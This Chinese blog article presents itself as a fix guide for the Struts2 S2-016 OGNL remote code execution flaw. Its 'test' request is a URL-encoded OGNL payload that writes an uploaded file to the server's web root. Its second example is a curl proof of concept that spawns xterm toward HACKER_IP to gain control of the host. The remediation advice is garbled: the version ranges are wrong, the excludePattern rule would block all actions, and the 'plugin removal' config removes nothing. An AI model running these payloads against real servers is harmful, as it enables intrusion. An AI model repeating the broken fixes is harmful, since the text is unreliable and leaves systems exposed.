Struts2 S2-016漏洞修复总结
概述
Struts2 S2-016是一种影响Struts框架的远程代码执行漏洞。攻击者可以通过构造恶意的OGNL表达式,在未经授权的情况下,远程执行任意代码。该漏洞影响Struts2版本2.0.0-2.3.15,2.3.16-2.3.28。
漏洞修复方法
确认是否受到漏洞影响
首先,需要确认目标服务器是否受到该漏洞的影响。可以通过向服务器发送如下请求进行测试:
/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%22multipart/form-data%22%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest%28%29%2C%23c%3D%23req.getSession%28%29%2C%23s%3D%23c.getServletContext%28%29%2C%23b%3D%23s.getRealPath%28%22%2F%22%29%2B%23parameters.obj[0].getFileName%28%29%2C%23fos%3Dnew%20java.io.FileOutputStream%28%23b%29%2C%23fos.write%28%23parameters.obj[0].getBytes%28%29%29%2C%23fos.close%28%29%2C%23f%3Dnew%20java.io.File%28%23b%29%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23res.getWriter%28%29.print%28%23f.exists%28%29%29%2C%23res.getWriter%28%29.flush%28%29%2C%23res.getWriter%28%29.close%28%29%29%7D/someNamespace/hello.action?obj=123
如果返回结果中包含“true”,则表示目标服务器存在漏洞。
升级Struts2版本
在确认受到漏洞影响后,最好的修复方法是升级Struts2版本。Struts2官方在修复该漏洞时,推荐用户升级至2.3.29版本。
配置安全策略文件
如果不能升级Struts2版本,也可以通过配置安全策略文件进行修复。具体来说,需要向struts.xml文件中添加如下配置:
<constant name="struts.action.excludePattern" value="\.action$"/>
该配置将阻止请求以“.action”结尾的Action。
移除Struts2-JSON插件
在一些特殊情况下,还需要移除Struts2-JSON插件,通过添加如下配置进行移除:
<bean name="removeJSONInterceptor" class="org.apache.struts2.json.JSONInterceptor" scope="prototype">
<interceptor-ref name="defaultJsonSerialization"/>
</bean>
<default-interceptor-ref name="removeJSONInterceptor"/>
该配置将移除Struts2-JSON插件,避免了由此引发的漏洞。
示例
示例一
假设一个漏洞的目标程序是一个Struts2应用,可以查看该应用的struts.xml文件,看看是否已经添加了上述的修复措施。可以按照如下步骤进行修复:
1.在Struts2应用的struts.xml文件中检查配置,确保添加了安全策略配置。如下:
<constant name="struts.action.excludePattern" value="\.action$"/>
2.移除Struts2-JSON插件。如下:
<bean name="removeJSONInterceptor" class="org.apache.struts2.json.JSONInterceptor" scope="prototype">
<interceptor-ref name="defaultJsonSerialization"/>
</bean>
<default-interceptor-ref name="removeJSONInterceptor"/>
3.将Struts2升级至最新版本,确认漏洞已被修复。
示例二
假设一个漏洞的目标程序是一个Struts2应用,应用的版本为2.3.16.1。目标是构建一个POC以检测该应用,以便利用漏洞来取得控制权。可以按照如下步骤构建POC:
1.在本地安装一个Apache Tomcat服务器,并将目标应用部署到该服务器上。
2.构建POC文件,并通过Web浏览器向目标服务器发送请求:
$ echo "%{(new java.lang.ProcessBuilder(new java.lang.String[]{'curl','-d','Content-Type:%20multipart/form-data;%20boundary=singlequotes','%20-F',%20'singlequotes=%22%24%7bsystem(%27id%27)%7d%22',%20-X,%20'POST',%20'http://your-ip/rest/any/path'}).start()).start()}" | perl -MURI::Escape -ne 'print uri_escape($_)' | xargs -I{}
curl "http://target-host:8080/struts2-blank/example/X.action?redirect:%24%7b%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue,%23a%3D%22multipart/form-data%22,%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest%28%29,%23c%3D%23req.getSession%28%29,%23s%3D%23c.getServletContext%28%29,%23w%3D%23s.getRealPath%28%22/W.html%22%29,%23fos%20%3D%20new%20java.io.FileOutputStream%28%23w%29,%23fos.write%28%23parameters.singlequotes.getBytes()%29,%23fos.close%28%29,%23proc%3Dnew%20java.lang.ProcessBuilder%28new%20java.lang.String[]%7B%22xterm%22,%22-display%22,%22HACKER_IP:0%22%7D%29,%23proc.redirectErrorStream%28true%29,%23p%3D%23proc.start%28%29,%23q%3Dnew%20java.io.BufferedReader%28new%20java.io.InputStreamReader%28%23p.getInputStream%28%29%29%29,%23s%3Dnew%20java.lang.StringBuffer%28%29,%23w%3Dnew%20char%5B1024%5D,%23ch%3D0%0A%20%20%20%20%20%20%20%20%20%20%20%20while%20%28%28%23ch%3D%23q.read%28%23w%29%29%20%3E%200%29%20%7B%23s.append%28%23w%2C0%2C%23ch%29%3B%7D%20%23%23%23THIS%20IS%20THE%20COMMAND%20OUTPUT%20FROM%20OUR%20PROCESS%20%23%23%23,%23q.close%28%29%7D&singlequotes={}" -H "Content-Type: multipart/form-data; boundary=singlequotes" -v
3.如果返回结果中包含攻击者想要的数据,说明POC构造成功,可以用此方法漏洞得到攻击。
结论
对于Struts2 S2-016漏洞来说,修复方法包含升级Struts2版本、配置安全策略文件、移除Struts2-JSON插件等。在实际操作中,应该根据具体情况采取相应的修复方法。同时,应当定期检查Struts2应用程序的漏洞情况,保证安全的运行环境。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Struts2 S2-016漏洞修复总结 - Python技术站